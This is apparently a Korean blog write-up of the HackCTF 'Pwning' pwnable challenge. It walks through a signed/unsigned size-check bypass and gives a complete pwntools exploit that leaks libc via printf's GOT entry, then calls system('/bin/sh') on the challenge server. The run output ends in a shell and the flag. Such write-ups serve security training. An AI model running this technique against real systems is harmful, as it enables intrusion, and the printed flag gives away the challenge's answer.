[HackCTF / pwnable] Pwning
2019. 10. 18. 07:47ㆍWargame & CTF/HackCTF
Summary
64bit
Analysis
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
vuln
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(&nptr, 4);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(&nptr, v2);
return printf("You said: %s\n", &nptr);
}
get_n
int __cdecl get_n(int a1, unsigned int a2)
{
int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = 0;
while ( 1 )
{
v4 = getchar();
if ( !v4 || v4 == 10 || v5 >= a2 )
break;
v2 = v5++;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + v5;
*(_BYTE *)(a1 + v5) = 0;
return result;
}
get대신 get_n을 쓴다. 느낌이 fgets와 비슷하다.
vuln에서 v2는 int이다. 그리고 get_n에서 v2를 받는 a2는 unsigned int이다.
만약에 v2에 0보다 작은값을 준다면? -1을 주었다고 가정하자.
if (v2 > 32)에서 통과가 될것이고, get_n으로 가게된다. get_n에서 unsigned int로 v2를 받으므로 4294967295값이 되게 된다.
그렇다면 버퍼 오버플로우를 시킬수있다.
Exploit
from pwn import *
e = ELF("./pwning")
#libc = e.libc
libc = ELF("./libc.so.6")
#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)
pr = 0x080484e1
payload = ""
payload += "-1"
p.recvuntil("read? ")
p.sendline(payload)
p.recvuntil("data!\n")
payload = ""
payload += "A"*(0x2c+0x4)
payload += p32(e.plt["printf"])
payload += p32(pr)
payload += p32(e.got["printf"])
payload += p32(e.symbols["vuln"])
p.sendline(payload)
p.recvuntil("\n")
printf_got = u32(p.recv(4))
libc_base = printf_got - libc.symbols["printf"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = list(libc.search("/bin/sh"))[0] + libc_base
payload = ""
payload += "-1"
p.recvuntil("read? ")
p.sendline(payload)
p.recvuntil("data!\n")
payload = ""
payload += "A"*(0x2c+0x4)
payload += p32(system_addr)
payload += p32(pr)
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
일단 첫번째로 printf의 got를 printf로 출력했다. 그러면 libc base를 구할수있다. libc base를 구하면 system의 주소를 알수있다.
그리고 다시 vuln함수로 돌린다음에 다시 입력을 받는다.
두번째에서는 system주소와 libc안에 있는 "/bin/sh"의 주소를 준다.
그러면 쉘이 따지게 된다.
Flag
cg10036@cg10036-virtual-machine:~/hackCTF/pwning$ p ex.py
[*] '/home/cg10036/hackCTF/pwning/pwning'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/cg10036/hackCTF/pwning/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to ctf.j0n9hyun.xyz on port 3019: Done
[*] Switching to interactive mode
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ʢ+\xb0 cat flag
HackCTF{b34u71ful_5un5h1n3_pwn1n6}
'Wargame & CTF > HackCTF' 카테고리의 다른 글
[HackCTF / pwnable] Unexploitable #1 (0) | 2019.10.18 |
---|---|
[HackCTF / pwnable] ROP (0) | 2019.10.18 |
[HackCTF / pwnable] Gift (0) | 2019.10.18 |
[HackCTF / pwnable] Look at me (0) | 2019.10.15 |
[HackCTF / pwnable] RTL_Core (0) | 2019.10.08 |